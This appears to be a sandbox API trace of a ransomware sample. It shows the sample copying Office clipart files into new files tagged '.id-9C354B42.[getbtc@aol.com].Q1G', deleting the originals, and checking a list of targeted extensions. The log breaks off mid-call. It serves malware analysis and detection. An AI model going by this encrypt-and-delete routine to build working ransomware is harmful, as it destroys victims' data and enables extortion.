1 [0254.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 0x20 [0254.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.261] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.261] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.262] GetLastError () returned 0x0 [0254.262] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x6b9a, lpOverlapped=0x0) returned 1 [0254.275] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x6ba0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x6ba0, lpOverlapped=0x0) returned 1 [0254.277] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.277] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.278] SetEndOfFile (hFile=0x3e0) returned 1 [0254.278] CloseHandle (hObject=0x3e0) returned 1 [0254.280] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.280] SetEndOfFile (hFile=0x3dc) returned 1 [0254.282] CloseHandle (hObject=0x3dc) returned 1 [0254.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099159.wmf")) returned 1 [0254.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.285] lstrlenW (lpString=".doc") returned 4 [0254.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.285] lstrlenW (lpString=".docx") returned 5 [0254.285] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.285] lstrlenW (lpString=".pdf") returned 4 [0254.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.285] lstrlenW (lpString=".xls") returned 4 [0254.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.285] lstrlenW (lpString=".xlsx") returned 5 [0254.285] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.285] lstrlenW (lpString=".ppt") returned 4 [0254.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.285] lstrlenW (lpString=".zip") returned 4 [0254.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.285] lstrlenW (lpString=".rar") returned 4 [0254.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.285] lstrlenW (lpString=".bz2") returned 4 [0254.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.285] lstrlenW (lpString=".7z") returned 3 [0254.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.285] lstrlenW (lpString=".dbf") returned 4 [0254.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString=".1cd") returned 4 [0254.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString=".jpg") returned 4 [0254.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString=".doc") returned 4 [0254.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString=".docx") returned 5 [0254.286] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0254.286] lstrlenW (lpString=".pdf") returned 4 [0254.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString=".xls") returned 4 [0254.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0254.286] lstrlenW (lpString=".xlsx") returned 5 [0254.286] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0254.286] lstrlenW (lpString=".ppt") returned 4 [0254.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString=".zip") returned 4 [0254.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0254.286] lstrlenW (lpString=".rar") returned 4 [0254.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString=".bz2") returned 4 [0254.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString=".7z") returned 3 [0254.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0254.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString=".dbf") returned 4 [0254.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString=".1cd") returned 4 [0254.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0254.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099159.WMF") returned 63 [0254.286] lstrlenW (lpString=".jpg") returned 4 [0254.287] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0254.287] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.287] lstrlenW (lpString="J0099161.JPG") returned 12 [0254.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.287] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=7154) returned 1 [0254.287] CloseHandle (hObject=0x3dc) returned 1 [0254.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 0x20 [0254.288] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.288] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.288] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.289] GetLastError () returned 0x0 [0254.289] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1bf2, lpOverlapped=0x0) returned 1 [0254.290] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1c00, lpOverlapped=0x0) returned 1 [0254.291] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.291] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.291] SetEndOfFile (hFile=0x3e0) returned 1 [0254.292] CloseHandle (hObject=0x3e0) returned 1 [0254.292] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.292] SetEndOfFile (hFile=0x3dc) returned 1 [0254.294] CloseHandle (hObject=0x3dc) returned 1 [0254.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099161.jpg")) returned 1 [0254.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.295] lstrlenW (lpString=".doc") returned 4 [0254.295] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.295] lstrlenW (lpString=".docx") returned 5 [0254.295] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0254.295] lstrlenW (lpString=".pdf") returned 4 [0254.295] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.295] lstrlenW (lpString=".xls") returned 4 [0254.295] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.295] lstrlenW (lpString=".xlsx") returned 5 [0254.295] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0254.295] lstrlenW (lpString=".ppt") returned 4 [0254.295] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.295] lstrlenW (lpString=".zip") returned 4 [0254.295] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.295] lstrlenW (lpString=".rar") returned 4 [0254.295] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.295] lstrlenW (lpString=".bz2") returned 4 [0254.295] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.295] lstrlenW (lpString=".7z") returned 3 [0254.295] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.295] lstrlenW (lpString=".dbf") returned 4 [0254.295] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.295] lstrlenW (lpString=".1cd") returned 4 [0254.295] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.295] lstrlenW (lpString=".jpg") returned 4 [0254.295] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.295] lstrlenW (lpString=".doc") returned 4 [0254.295] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.295] lstrlenW (lpString=".docx") returned 5 [0254.296] lstrcmpiW (lpString1=".docx", lpString2="1.JPG") returned -1 [0254.296] lstrlenW (lpString=".pdf") returned 4 [0254.296] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.296] lstrlenW (lpString=".xls") returned 4 [0254.296] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.296] lstrlenW (lpString=".xlsx") returned 5 [0254.296] lstrcmpiW (lpString1=".xlsx", lpString2="1.JPG") returned -1 [0254.296] lstrlenW (lpString=".ppt") returned 4 [0254.296] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.296] lstrlenW (lpString=".zip") returned 4 [0254.296] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.296] lstrlenW (lpString=".rar") returned 4 [0254.296] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.296] lstrlenW (lpString=".bz2") returned 4 [0254.296] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.296] lstrlenW (lpString=".7z") returned 3 [0254.296] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.296] lstrlenW (lpString=".dbf") returned 4 [0254.296] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.296] lstrlenW (lpString=".1cd") returned 4 [0254.296] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099161.JPG") returned 63 [0254.296] lstrlenW (lpString=".jpg") returned 4 [0254.296] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.296] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0254.296] lstrlenW (lpString="J0099162.JPG") returned 12 [0254.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.297] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=19656) returned 1 [0254.297] CloseHandle (hObject=0x3dc) returned 1 [0254.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0254.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.297] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.297] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0254.298] GetLastError () returned 0x0 [0254.298] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x4cc8, lpOverlapped=0x0) returned 1 [0254.300] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x4cd0, lpOverlapped=0x0) returned 1 [0254.301] ReadFile (in: hFile=0x3dc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0254.301] WriteFile (in: hFile=0x3e0, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0254.301] SetEndOfFile (hFile=0x3e0) returned 1 [0254.301] CloseHandle (hObject=0x3e0) returned 1 [0254.301] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0254.301] SetEndOfFile (hFile=0x3dc) returned 1 [0254.304] CloseHandle (hObject=0x3dc) returned 1 [0254.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0254.304] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0254.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.304] lstrlenW (lpString=".doc") returned 4 [0254.304] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.304] lstrlenW (lpString=".docx") returned 5 [0254.305] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0254.305] lstrlenW (lpString=".pdf") returned 4 [0254.305] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.305] lstrlenW (lpString=".xls") returned 4 [0254.305] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.305] lstrlenW (lpString=".xlsx") returned 5 [0254.305] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0254.305] lstrlenW (lpString=".ppt") returned 4 [0254.305] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.305] lstrlenW (lpString=".zip") returned 4 [0254.305] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.305] lstrlenW (lpString=".rar") returned 4 [0254.305] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.305] lstrlenW (lpString=".bz2") returned 4 [0254.305] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.305] lstrlenW (lpString=".7z") returned 3 [0254.305] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.305] lstrlenW (lpString=".dbf") returned 4 [0254.305] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.305] lstrlenW (lpString=".1cd") returned 4 [0254.305] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.305] lstrlenW (lpString=".jpg") returned 4 [0254.305] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.305] lstrlenW (lpString=".doc") returned 4 [0254.305] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0254.305] lstrlenW (lpString=".docx") returned 5 [0254.305] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0254.305] lstrlenW (lpString=".pdf") returned 4 [0254.305] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0254.305] lstrlenW (lpString=".xls") returned 4 [0254.306] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0254.306] lstrlenW (lpString=".xlsx") returned 5 [0254.306] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0254.306] lstrlenW (lpString=".ppt") returned 4 [0254.306] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0254.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.306] lstrlenW (lpString=".zip") returned 4 [0254.306] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0254.306] lstrlenW (lpString=".rar") returned 4 [0254.306] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0254.306] lstrlenW (lpString=".bz2") returned 4 [0254.306] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0254.306] lstrlenW (lpString=".7z") returned 3 [0254.306] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0254.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.306] lstrlenW (lpString=".dbf") returned 4 [0254.306] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0254.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.306] lstrlenW (lpString=".1cd") returned 4 [0254.306] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0254.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0254.306] lstrlenW (lpString=".jpg") returned 4 [0254.306] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0254.306] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0254.306] lstrlenW (lpString="J0099163.WMF") returned 12 [0254.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0254.307] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=22356) returned 1 [0254.307] CloseHandle (hObject=0x3dc) returned 1 [0254.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf")) returned 0x20 [0254.307] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0254.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, 